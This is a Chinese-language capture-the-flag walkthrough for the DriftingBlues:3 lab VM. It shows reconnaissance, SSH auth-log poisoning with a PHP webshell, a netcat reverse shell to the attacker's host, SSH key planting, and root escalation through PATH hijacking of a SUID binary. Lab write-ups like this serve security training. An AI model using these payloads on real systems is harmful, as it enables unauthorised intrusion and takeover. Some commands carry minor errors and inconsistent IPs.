Driftingblues 3

Driftingblues:3

一、基本信息

名称:DriftingBlues:3

发布日期:2021.3.6

作者:tasiyanci

系列:DriftingBlues

推特:@tasiyanci

二、靶机简介

Flags:

robertj:/~/user.txt
root:/root/root.txt

难度:简单

三、文件信息

文件名:driftingblues3.ova

文件大小:483MB

下载地址:

MD5: 987D997BC77205B54C61A9CDF745A73A

SHA1: DE17551E53C73792B41A190B1302DF78411A65B1

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机driftingblues3和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了22和80端口,访问主页查看源码,没有什么发现:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.115 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现有好几个可疑目录:

1
gobuster dir -u http://192.168.56.115/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

SSH写入webshell

1.访问192.168.56.115/robots.txt,进一步访问/eventadmins,告知我们ssh有问题,再访问/littlequeenofspades.html,源码里有一串base64编码字符:

image-

image-

image-

2.对字符串解码两次,发现是一个路径/adminsfixit.php,继续访问,发现一个ssh auth log文件:

image-

image-

3.仔细观察,发现输出了我们的验证信息,也就是ssh相关的输出会回显在这个页面上,我们可以尝试写入shell:

image-

1
ssh '<?php system($_GET["cmd"]); ?>'@192.168.56.115,kali注入webshell

image-

1
view-source:http://192.168.56.115/adminsfixit.php?cmd=cat%20/etc/passwd

image-

4.在kali开启端口监听,对http://192.168.56.115/adminsfixit.php?cmd=nc%20-e%20/bin/bash%20192.168.56.102%201234访问触发shell:

image-

SSH免密登录,初步提权

1.我们可以查看/home/robertj目录,下面有第一个flag,user.txt,但是我们无权查看:

image-

2.查看同目录下的.ssh目录,发现里面没有rsa等文件,则我们可以生成rsa并将私钥复制到kali用于免密登录:

1
2
cd .ssh
ssh-keygen -t rsa,注意生成目录的修改

image-

image-

image-

1
cat rsa_key.pub > authorized_keys,将公钥写入authorized_keys

image-

3.在kali使用私钥ssh登录,可以查看user.txt:

1
2
chmod 400 priv_key,添加权限
ssh robertj@192.168.56.115 -I priv_key

image-

root提权

1.查看具有sudo权限的应用,发现getinfo可以利用:

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

image-

2.我们执行getinfo发现可以返回一些主机的IP信息hosts文件和os信息,那么应该是执行了ip a、cat /etc/hosts、uname -a的命令:

image-

3.我们创建一个可以执行提权的uname文件进行提权,可以在/root目录下看到第二个flag,root.txt:

1
2
3
4
5
cd /tmp
echo "/bin/bash" > uname
chmod +x uname
export PATH=/tmp:$PATH
getinfo

image-